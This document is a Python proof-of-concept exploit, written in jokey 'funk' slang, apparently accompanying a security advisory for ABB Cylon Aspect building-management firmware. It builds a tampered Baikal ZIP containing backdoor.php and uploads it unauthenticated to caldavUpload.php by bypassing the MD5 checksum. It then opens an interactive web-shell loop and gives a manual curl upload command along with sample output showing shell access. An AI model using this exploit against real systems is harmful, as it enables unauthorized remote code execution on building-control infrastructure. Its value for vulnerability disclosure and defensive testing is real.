#!/usr/bin/env python3 # # # ABB Cylon Aspect 3.08.01 (caldavUpload.php) Funkalicious Exploit # # # Vendor: ABB Ltd. # Product web page: https://www.global.abb # Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio # Firmware: <=3.08.01 # # Summary: ASPECT is an award-winning scalable building energy # management and control solution designed to allow users seamless # access to their building data through standard building protocols # including smart devices. # # Desc: Yo, check it - the ABB BMS/BAS system's got a slick little # weakness in them caldavInstall.php, caldavInstallAgendav.php, and # caldavUpload.php files. All you gotta do is drop that skipChecksum # beat in the POST vibe, and bam, the system skips all that MD5 # checksum nonsense, no EXPERTMODE needed to crank the funk. This # lets any slick cat without a login slide in some jacked-up CalDAV # ZIP files, no questions asked. We're talkin' tampered tunes hittin' # the deck, openin' the door to messin' with the system or droppin' # some nasty uploads, all unauthorized-like. That's the funky flaw, # baby - straight-up tamper town! # # -------------------------------------------------------------------------- # # ┌──(kali㉿kali)-[~/brainfog] # └─$ ./funkalicious.py 192.168.73.31 # [*] Rollin' on 05.03.2025 14:57:38 # [*] Funkmaster Webshell Injector PoC - let's get down! # [*] Groovin' to: http://192.168.73.31 # [+] Droppin' the funk on baikal-0.6.1.zip, dig it... # [+] Whippin' up some funky ZIP magic... # [+] Funked-up ZIP is live: baikal-0.6.1.zip # [+] Funky MD5 hash: 26b68b6e04966e8ea910a9df0a83ec72 # [+] Groove size: 3.13 MB, dig it! # [+] Groovin' through the ZIP contents (key funky files): # 458 2019-02-19 08:05 baikal/vendor/sabre/vobject/tests/bootstrap.php # 1696 2019-10-19 03:17 baikal/vendor/sabre/dav/tests/bootstrap.php # 207 2019-10-09 16:27 baikal/vendor/sabre/http/tests/bootstrap.php # 293 2012-06-17 14:48 baikal/vendor/twig/twig/test/bootstrap.php # 144 2025-03-05 19:18 baikal/html/backdoor.php # [+] Droppin' the funk bomb at http://192.168.73.31/caldavUpload.php... # [+] Far out! ZIP got extracted, baby! # [+] Hittin' the funkdoor at http://192.168.73.31/baikal/backdoor.php, let's groove... # [+] Righteous! Funkdoor's live and kickin': # uid=48(apache) gid=48(apache) groups=48(apache),0(root) # # [+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor! # funk> id ; pwd # uid=48(apache) gid=48(apache) groups=48(apache),0(root) # /home/baikal/html # funk> exit # [+] Wipin' out the funkdoor, peace out... # [+] Funkdoor's gone, man - clean as a whistle! # [*] Funked ZIP stashed: baikal-0.6.1.zip # [*] Manual funk drop: curl -F 'baikalFile=@baikal-0.6.1.zip' -F 'skipChecksum=1' -F 'EXPERTMODE=1' 'http://192.168.73.31/caldavUpload.php' # [+] Sweepin' up the temp funk files (keepin' the ZIP)... # # -------------------------------------------------------------------------- # # Tested on: GNU/Linux 3.15.10 (armv7l) # GNU/Linux 3.10.0 (x86_64) # GNU/Linux 2.6.32 (x86_64) # Intel(R) Atom(TM) Processor E3930 @ 1.30GHz # Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz # PHP/7.3.11 # PHP/5.6.30 # PHP/5.4.16 # PHP/4.4.8 # PHP/5.3.3 # AspectFT Automation Application Server # lighttpd/1.4.32 # lighttpd/1.4.18 # Apache/2.2.15 (CentOS) # OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64) # OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode) # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2025-5926 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5926.php # Ref ID: ZSL-2024-5860 # Ref Title: ABB Cylon Aspect 3.08.01 (badassMode) File Upload MD5 Checksum Bypass # Ref URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5860.php # # # 21.04.2024 # # import os import sys import random import shutil import zipfile import requests import datetime import subprocess from colorama import init, Fore, Style init() # Funky global vibes FUNKMASTER_URL = None # To be set by the righteous IP UPLOAD_JAM = "/caldavUpload.php" BAIKAL_FUNKDOOR_PATH = "/baikal/backdoor.php" OG_ZIP_VIBE = "baikal-0.6.1.zip" FUNKED_ZIP_VIBE = "baikal-0.6.1.zip" TEMP_FUNK_PAD = "zipslip_tmp" # The slickest backdoor groove in town FUNKDOOR_JAM = """""" def check_funky_gear(): # Checkin' if the cool cats got the unzip groove if subprocess.call(["which", "unzip"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0: print("[-] Whoa, daddy-o! 'unzip' ain't in the mix. Lay it down with 'sudo apt install unzip'!") exit(1) def snag_the_og_jam(): # Snaggin' that OG ZIP from the cosmic interwebs if not os.path.exists(OG_ZIP_VIBE): print(f"[+] Droppin' the funk on {OG_ZIP_VIBE}, dig it...") url = "https://github.com/sabre-io/Baikal/releases/download/0.6.1/baikal-0.6.1.zip" response = requests.get(url, stream=True) with open(OG_ZIP_VIBE, "wb") as f: f.write(response.content) else: print(f"[+] {OG_ZIP_VIBE} is already chillin' in the funk pad, my man!") def whip_up_funky_zip(): # Cookin' up a righteous exploit ZIP, baby print("[+] Whippin' up some funky ZIP magic...") if os.path.exists(TEMP_FUNK_PAD): shutil.rmtree(TEMP_FUNK_PAD) os.makedirs(TEMP_FUNK_PAD, exist_ok=True) # Unpackin' the OG vibe on the down-low subprocess.run(["unzip", "-qq", OG_ZIP_VIBE, "-d", TEMP_FUNK_PAD], check=True) # Settin' up the baikal funk shack baikal_pad = os.path.join(TEMP_FUNK_PAD, "baikal") if os.path.exists(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1")): os.rename(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1"), baikal_pad) # Droppin' a sneaky temp funkdoor temp_funkdoor = os.path.join(TEMP_FUNK_PAD, "temp_funkdoor.php") with open(temp_funkdoor, "w") as f: f.write(FUNKDOOR_JAM) # Zippin' it up with the funkdoor beat with zipfile.ZipFile(FUNKED_ZIP_VIBE, "w", zipfile.ZIP_DEFLATED) as zf: for root, _, files in os.walk(baikal_pad): for file in files: full_path = os.path.join(root, file) arcname = os.path.relpath(full_path, TEMP_FUNK_PAD) zf.write(full_path, arcname) zf.write(temp_funkdoor, "baikal/html/backdoor.php") # Gettin' the funky hash and size, yo md5 = subprocess.check_output(["md5sum", FUNKED_ZIP_VIBE]).decode().split()[0] print(f"[+] Funked-up ZIP is live: {FUNKED_ZIP_VIBE}") print(f"[+] Funky MD5 hash: {md5}") print(f"[+] Groove size: {os.path.getsize(FUNKED_ZIP_VIBE) / 1024 / 1024:.2f} MB, dig it!") def check_the_funk_vibe(): # Peekin' at the ZIP's funky insides print("[+] Groovin' through the ZIP contents (key funky files):") result = subprocess.run(["unzip", "-l", FUNKED_ZIP_VIBE], capture_output=True, text=True) for line in result.stdout.splitlines(): if "backdoor.php" in line or "bootstrap.php" in line: print(line) def lay_down_the_funk(target_url): # /home/MIX_CMIX/htmlroot/caldavInstall.php: # ------------------ # 01: # ------------------ # Layin' down the funk to the server, man url = f"{target_url}{UPLOAD_JAM}" print(f"[+] Droppin' the funk bomb at {url}...") files = {"baikalFile": open(FUNKED_ZIP_VIBE, "rb")} data = {"skipChecksum": "1", "EXPERTMODE": "1"} response = requests.post( url, files=files, data=data, timeout=10 ) if response.status_code == 200 and "Baikal Bundle Uploaded and Extracted - OK" in response.text: print("[+] Far out! ZIP got extracted, baby!") else: print(f"[-] Funk hit a snag, HTTP Code: {response.status_code}") print(response.text) def jam_with_funkdoor(target_url): # Jamming with the funkdoor, testing the vibe url = f"{target_url}{BAIKAL_FUNKDOOR_PATH}" print(f"[+] Hittin' the funkdoor at {url}, let's groove...") response = requests.post(url, data={'cmd': 'id'}, timeout=5) if response.status_code == 200 and "uid=" in response.text: print("[+] Righteous! Funkdoor's live and kickin':") print(response.text) print("[+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor!") while True: cmd = input("funk> ").strip() if cmd.lower() in ["exit", "quit"]: print("[+] Wipin' out the funkdoor, peace out...") cleanup_response = requests.post(url, data={'cmd': 'rm backdoor.php'}, timeout=5) if cleanup_response.status_code == 200: print("[+] Funkdoor's gone, man - clean as a whistle!") else: print("[-] Cleanup got funky, check it out manually, dude.") break shell_response = requests.post(url, data={'cmd': cmd}, timeout=5) if shell_response.status_code == 200: print(shell_response.text.strip()) else: print(f"[-] Funk jam crashed: HTTP {shell_response.status_code}") print(shell_response.text) else: print("[-] Funkdoor ain't answerin' the call, man.") print(f"Response: {response.status_code}") def clean_the_funk_pad(): # Clearin' out the temp funk pad, keepin' it real print("[+] Sweepin' up the temp funk files (keepin' the ZIP)...") if os.path.exists(TEMP_FUNK_PAD): shutil.rmtree(TEMP_FUNK_PAD) def main(): global start start = datetime.datetime.now() start = start.strftime("%d.%m.%Y %H:%M:%S") title = "\033[91mABB Cylon® ASPECT® Supervisory Building Control v3.08.01\033[0m" subtl = "\033[91m\to Unauthenticated Remote Code Execution o\033[0m" advis = "\033[91mZSL-2025-5926\033[0m" prj = f"""- P R O J E C T .| | | |'| ._____ ___ | | |. |' .---"| _ .-' '-. | | .--'| || | _| | .-'| _.| | || '-__ | | | || | |' | |. | || | | | | || | ____| '-' ' "" '-' '-.' '` |____ ░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ {title} {subtl} {advis} """ if len(sys.argv) < 2: colors = [Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.MAGENTA, Fore.CYAN, Fore.BLUE] lines = prj.strip().split("\n") for line in lines: color = random.choice(colors) print(f"{color}{line}{Style.RESET_ALL}") print("\n[*] Funky Jam: ./funkalicious.py ") sys.exit(1) target_ip = sys.argv[1] global FUNKMASTER_URL FUNKMASTER_URL = f"http://{target_ip}" print("[*] Rollin' on", start) print("[*] Funkmaster Webshell Injector PoC - let's get down!") print(f"[*] Groovin' to: {FUNKMASTER_URL}") check_funky_gear() snag_the_og_jam() whip_up_funky_zip() check_the_funk_vibe() lay_down_the_funk(FUNKMASTER_URL) jam_with_funkdoor(FUNKMASTER_URL) print(f"[*] Funked ZIP stashed: {FUNKED_ZIP_VIBE}") print(f"[*] Manual funk drop: curl -F 'baikalFile=@{FUNKED_ZIP_VIBE}' -F 'skipChecksum=1' -F 'EXPERTMODE=1' '{FUNKMASTER_URL}{UPLOAD_JAM}'") clean_the_funk_pad() if __name__ == "__main__": main()